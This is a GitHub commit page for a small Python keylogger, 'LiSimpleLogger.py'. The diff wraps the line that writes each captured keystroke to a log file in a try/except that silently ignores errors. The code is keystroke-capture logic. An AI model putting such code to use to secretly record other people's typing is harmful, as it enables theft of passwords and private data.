We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 6aa488b commit bdef8b2Copy full SHA for bdef8b2
LiSimpleLogger.py
@@ -14,7 +14,13 @@ def on_press(key):
14
# Alpha-Numeric and special characters have type pynput.keyboard._win32.KeyCode
15
# If such type log them directly
16
if type(key) == pynput.keyboard._xorg.KeyCode:
17
- f_in.write(key.char)
+ try:
18
+ f_in.write(key.char)
19
+
20
+ # Some keys of type pynput.keyboard._win32.KeyCode return None.
21
+ # Cant write none in a file and may cause error.
22
+ except Exception:
23
+ pass
24
25
# For other types like caps_lock log them as specified.
26
else:
0 commit comments